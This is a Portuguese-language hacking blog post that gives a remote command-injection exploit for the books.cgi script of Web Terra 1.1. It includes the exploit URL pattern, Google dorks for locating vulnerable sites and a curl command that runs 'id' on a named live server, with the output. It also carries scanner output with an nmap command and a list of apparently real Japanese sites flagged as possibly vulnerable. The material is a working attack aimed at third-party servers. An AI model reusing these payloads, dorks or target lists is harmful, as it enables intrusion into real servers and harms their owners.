Parceiro: Camisetas Hacker

Camisetas para Nerds & Hackers

quinta-feira, 5 de junho de 2014

Executar comandos remotamente via books.cgi Web Terra v. 1.1



Executar comandos remotamente via books.cgi Web Terra v. 1.1

[+] Remote Comand Execution on books.cgi Web Terra v. 1.1
[+] Date: 21/05/2014
[+] CWE number: CWE-78
[+] Risk: High
[+] Author: Felipe Andrian Peixoto
[+] Contact: [email protected]
[+] Tested on: Windows 7 and Linux
[+] Vendor Homepage: http://www2.inforyoma.or.jp/~terra
[+] Vulnerable File: books.cgi
[+] Version : 1.1
[+] Exploit: http://host/patch/books.cgi?file=|COMANDO|

CGI é um acrónimo para a expressão inglesa Common Gateway Interface. Consiste numa importante tecnologia que permite gerar páginas dinâmicas, permitindo a um navegador passar parâmetros para um programa alojado num servidor web. Assim, designam-se por scripts CGI os pequenos programas que interpretam esses parâmetros e geram a página depois de os processar.O CGI foi concebido como o culminar de discussões por especialistas durante os primórdios da Internet, nomeadamente entre Rob McCool, John Franks, Ari Luotonen, George Phillips e Tony Sanders. DEmbora a linguagem tipicamente associada aos CGI seja o Perl, o CGI foi concebido de forma a ser independente da linguagem utilizada. Actualmente tecnologias como ASP.NET, PHP, Python e Ruby continuam a utilizar a especificação.


/DORK's: 
------------------------------------------------------------------------------------------
inurl:*"/books.cgi?file=*"
inurl:"/books.cgi?file="
inurl:"/books/" ext:cgi inurl:"books.cgi" "book1.txt" 
------------------------------------------------------------------------------------------  

Exemplo de achados:
http://www.hi-ho.ne.jp/cgi-bin/user/yyama/books.cgi?file=interbook.txt&subject=%E5%A5%AA%E6%8F%83%E9%81%9C%E5%A5%AA%E8%B6%B3%E6%9D%9F%E5%A5%AA%E7%AA%B6%E8%AC%82&start=2910
www.hi-ho.ne.jp/cgi-bin/user/yyama/books.cgi?file...txt...
http://ffg.sakura.ne.jp/ffg/book/081_120/books.cgi?file=book100.cgi&subject=%E7%AB%AA%5B%EF%BE%85%F3%BE%AC%9C&start=0
http://cgi.members.interq.or.jp/rabbit/hirotti/book/books.cgi?file=book13.txt&subject=%82%A4%82%E9%90%AF%81%7B%8C%A2%96%E9%8D%B3&start=240
http://nocturne.staba.jp/books/books.cgi?file=book2.txt&subject=%83V%83%8A%83A%83X%83X%83g%81%5B%83%8A%81%5B&start=19160
http://cgi.din.or.jp/~ah-san/books/books.cgi?file=book4.txt&subject=%82%B1%82%B1%82%EB%96%CD%97l&start=140

Comando CURL:
OS Command ('OS Command Injection')

 curl  -v 'http://redsuns.x0.com/webnovel/books.cgi?file=|id|'


0xResultado:

uid=1085(spider) gid=1000(users) groups=1000(users)
 curl  -v 'http://redsuns.x0.com/webnovel/books.cgi?file=|id|' * About to connect() to redsuns.x0.com port 80 (#0) *   Trying 210.188.227.146... * connected * Connected to redsuns.x0.com (210.188.227.146) port 80 (#0) > GET /webnovel/books.cgi?file=|id| HTTP/1.1 > User-Agent: curl/7.26.0 > Host: redsuns.x0.com > Accept: */* >  * additional stuff not fine transfer.c:1037: 0 0 * HTTP 1.1 or later with persistent connection, pipelining supported < HTTP/1.1 200 OK < Via: 1.1 IRAQUE < Connection: Keep-Alive < Proxy-Connection: Keep-Alive < Transfer-Encoding: chunked < Date: Thu, 05 Jun 2014 16:44:24 GMT < Content-Type: text/html < Server: Apache/1.3.42 (Unix)

Usando [ SCANNER INURL ]
Usando [ SCANNER INURL ]

DEBUG:
Array
(
    [0] => Array
        (
        )

    [host] => www.google.com.br
    [dork] => inurl%3A%22%2Fbooks%2F%22+ext%3Acgi+inurl%3A%22books.cgi%22+%22book1.txt%22
    [arquivo] => resultados.txt
    [tipoerro] => 2
    [exploit] =>
    [achar] => 'a href=book'
    [cmd] => nmap -sV -p 80,8080,21,22,3306 _ALVO_
    [ipProxy] =>
    [porta] =>
    [url] => /search?q=inurl%3A%22%2Fbooks%2F%22+ext%3Acgi+inurl%3A%22books.cgi%22+%22book1.txt%22&num=1900&btnG=Search
    [port] => 80
)



0xRESULTADO::

TOTAL DE URL's: 71
EXPLOIT USADO:
DORK: inurl%3A%22%2Fbooks%2F%22+ext%3Acgi+inurl%3A%22books.cgi%22+%22book1.txt%22
TOTAL DE POSSÍVEIS VULL: 19
ARQUIVO COM RESULTADO:resultados.txt
LISTA:

http://webcache.googleusercontent.com/search?q=cache:ovc5k7pkIrwJ:http://www2.pos.to/~fuyumi/tomonokai/cgi-bin/books.cgi?file%3Dbook1.txt%26subject%3D%26start%3D579%2Binurl:%22/books/%22+ext:cgi+inurl:%22books.cgi%22+%22book1.txt%22&num=1900&hl=pt-BR&&ct=clnk
http://ted.pekori.to/bbs/books/books.cgi?file=book1.txt&subject=%83%8A%83%8C%81%5B%8F%AC%90%E0%81E%96l%82%E7%82%CCPBM%94%92%8F%91&start=40
http://webcache.googleusercontent.com/search?q=cache:a2iYNKIzSvUJ:http://ted.pekori.to/bbs/books/books.cgi?file%3Dbook1.txt%26subject%3D%2583%258A%2583%258C%2581%255B%258F%25AC%2590%25E0%2581E%2596l%2582%25E7%2582%25CCPBM%2594%2592%258F%2591%26start%3D40%2Binurl:%22/books/%22+ext:cgi+inurl:%22books.cgi%22+%22book1.txt%22&num=1900&hl=pt-BR&&ct=clnk
http://cgi.din.or.jp/~ah-san/books/books.cgi?file=book1.txt&subject=%96%BC%92T%92%E3%96%B6%93%87%8C%DC%98Y&start=820
http://cgi.din.or.jp/~ah-san/books/books.cgi?file=book1.txt&subject=%96%BC%92T%92%E3%96%B6%93%87%8C%DC%98Y&start=280
http://cgi.din.or.jp/~ah-san/books/books.cgi?file=book1.txt&subject=%96%BC%92T%92%E3%96%B6%93%87%8C%DC%98Y&start=240
http://cgi.din.or.jp/~ah-san/books/books.cgi?file=book1.txt&subject=%96%BC%92T%92%E3%96%B6%93%87%8C%DC%98Y&start=840
http://cgi.din.or.jp/~ah-san/books/books.cgi?file=book1.txt&subject=%96%BC%92T%92%E3%96%B6%93%87%8C%DC%98Y&start=420
http://cgi.din.or.jp/~ah-san/books/books.cgi?file=book1.txt&subject=%E8%5E%8F%8F%90%5C%E8%5E%BDT%E8%5E%8F%83%96%8B%FA%AC%5C%E8%5E%8F%8F%90%5C%DC%98Y&start=100
http://taicho.oops.jp/cgi-bin/books/books.cgi?file=book1.txt&subject=Nature%81%40in%81%40Blood1&start=1120
http://taicho.oops.jp/cgi-bin/books/books.cgi?file=book1.txt&subject=Nature%81%40in%81%40Blood1&start=1020
http://www.wao.or.jp/user/take123/books/books.cgi?file=book1.txt&subject=%96%BC%92T%92%E3%83R%83%8D%83%93
http://www.scorpion.ne.jp/~kaimu/cgi-bin/books.cgi?file=book1.txt&subject=%8C%8E%82%CC%8D%CA
http://www6.airnet.ne.jp/tangent/novel/books.cgi?file=book1.txt&subject=%8AC%94n%8F%B2%82%CC%8E%96%8C%8F%95%EB
http://www.kcn.ne.jp/cgi-bin/blue/books.cgi?file=book1.txt&subject=%A5%B3%A1%BC%A5%B8
http://hccweb1.bai.ne.jp/~apaaf603/main/books/books.cgi?file=book1.txt&subject=%96%BC%92T%92%E3%82%A0%82%AE%82%E9
http://mbl.myftp.biz/~sgon/tryhp/books1/books.cgi?file=book1.txt&subject=%96%BC%92T%92%E3%93c%8C%E1%8D%EC
http://taicho.oops.jp/cgi-bin/books/books.cgi?file=book1.txt&subject=Nature%81%40in%81%40Blood1&start=1240
http://www.gifunisi.jp/cgi/books/books.cgi?file=book1.txt&subject=%96%BC%92T%92%E3%8F%BC%93c%97D%8D%EC

SCRIPT INURL
http://pastebin.com/TzijC99y
Mais informações sobre falhas desse tipo:
http://cwe.mitre.org/data/definitions/78.html
EXPLOIT:
http://www.exploit-db.com/exploits/33494/
Ref:
http://thobias.org/doc/cgi_shell.html

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